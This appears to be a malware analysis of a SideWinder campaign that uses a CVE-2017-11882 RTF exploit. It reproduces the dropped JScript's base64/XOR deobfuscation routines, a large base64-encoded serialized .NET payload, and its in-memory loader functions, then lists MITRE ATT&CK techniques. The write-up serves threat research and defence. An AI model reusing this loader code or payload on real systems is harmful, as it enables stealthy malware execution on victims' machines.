20 KiB
20 KiB
SideWinder same targets, same TTPs, time to counter-attack !
Table of Contents
- Malware analysis
- Threat Intelligence
- Cyber kill chain
- Indicators Of Compromise (IOC)
- Yara Rules
- References MITRE ATT&CK Matrix
- Knowledge Graph
- Links
Malware analysis
The initial vector is an RTF file who use an well-know vulnerability (CVE-2017-11882) for execute a js script (1.a) form the package of OLE objects.
We can observe on the code of the exploit that jump and rebuild the command to execute.
As first, we can observe that a series of functions are used for obfuscate the criticals parts of the script.
var OaXQT = ActiveXObject;
var cRKGlc = String.fromCharCode;
function RDDb(str)
{
var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXY"+"Zabcdefghijklmnopqrstuvwxyz0123456789+/="
var b, result = "", r1, r2, i = 0;
for (; i < str.length;)
{
b = b64.indexOf(str.charAt(i++)) << 18 | b64.indexOf(str.charAt(i++)) << 12 |(r1 = b64.indexOf(str.charAt(i++))) << 6 | (r2 = b64.indexOf(str.charAt(i++)));
result += r1 === 64 ? cRKGlc(b >> 16 & 255) : r2 === 64 ? cRKGlc(b >> 16 & 255, b >> 8 & 255) : cRKGlc(b >> 16 & 255, b >> 8 & 255, b & 255);
}
return result;
};
function SJnEuQM (key, bytes)
{
var res = [];
for (var i = 0; i < bytes.length; ) {
for (var j = 0; j < key.length; j++) {
res.push(cRKGlc((bytes.charCodeAt(i)) ^ key.charCodeAt(j)));
i++;
if (i >= bytes.length) {j = key.length;}
}
}
return res.join("")
}
function EvpTXkLe(bsix){ return SJnEuQM(keeee,RDDb(bsix))}
var keeee = SJnEuQM("YjfT",RDDb("altWY2"+"hcV2xq"+"XA=="));
This series of functions perform the decryption of the base64 and xor by a constant encoded key (keeee), this can be merged on one single next function
function EvpTXkLe(bytes)
{
var b,b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",result = "",r1,r2, i = 0,res = [],key ="3107161836";
for (; i < bytes.length;)
{
b = b64.indexOf(bytes.charAt(i++)) << 18 | b64.indexOf(bytes.charAt(i++)) << 12 |(r1 = b64.indexOf(bytes.charAt(i++))) << 6 | (r2 = b64.indexOf(bytes.charAt(i++)));
result += r1 === 64 ? String.fromCharCode(b >> 16) : r2 === 64 ? String.fromCharCode(b >> 16 & 255, b >> 8 & 255) : String.fromCharCode(b >> 16 & 255, b >> 8 & 255, b & 255);
}
for (var i = 0; i < result.length; ) {
for (var j = 0; j < key.length; j++) {
res.push(String.fromCharCode((result.charCodeAt(i)) ^ key.charCodeAt(j)));
i++;
if (i >= result.length) { j = key.length;}
}
}
return res.join("")
}
var data= EvpTXkLe("Data to decrypt")
console.log(data)
The first block inside the try/catch is for initialize theposition of the window outside the display and payload to inject in the process
var mst = null;
var FSO = null;
window.resizeTo(1, 1);
window.moveTo(-1000, -1200);
var shells = new ActiveXObject("WScript.Shell");
var so = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkDAAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAHdGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAACQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0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The next block is two functions one used for write the payload at inject and the second for check the version .NET on the system
function write_payload(b)
{
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
mst = new ActiveXObject("System.IO.MemoryStream");
mst.Write(ba, 0, (length / 4) * 3);
mst.Position = 0;
}
function check_NET_version()
{
var net = "",folder;
var folds = FSO.GetFolder(FSO.GetSpecialFolder(0)+"\Microsoft.NET\Framework\").SubFolders;
e = new Enumerator(folds);
e.moveFirst();
do
{
folder = e.item();
var files = folder.files;
var fileEnum = new Enumerator(files);
fileEnum.moveFirst();
while(fileEnum.atEnd() == false)
{
if(fileEnum.item().Name == "csc.exe")
{
if(folder.Name.substring(0,2) == "v2") {return "v2.0.50727"}
else if(folder.Name.substring(0,2) == "v4") { return "v4.0.30319"}
}
fileEnum["moveNext"]();
}
e["moveNext"]();
}while (e.atEnd() == false)
return folder.Name;
}
Threat Intelligence
Cyber kill chain
The process graph resume cyber kill chains used by the attacker :
Indicators Of Compromise (IOC)
List of all the Indicators Of Compromise (IOC)
| Indicator | Description |
|---|---|
The IOC can be exported in JSON
References MITRE ATT&CK Matrix
| Enterprise tactics | Technics used | Ref URL |
|---|---|---|
| Execution | Execution through Module Load Exploitation for Client Execution |
https://attack.mitre.org/techniques/T1129/ https://attack.mitre.org/techniques/T1203/ |
| Persistence | Registry Run Keys / Startup Folder | https://attack.mitre.org/techniques/T1060/ |
| Discovery | Query Registry | https://attack.mitre.org/techniques/T1012/ |
This can be exported as JSON format Export in JSON
Yara Rules
A list of YARA Rule is available here
Knowledge Graph
The following diagram shows the relationships of the techniques used by the groups and their corresponding malware: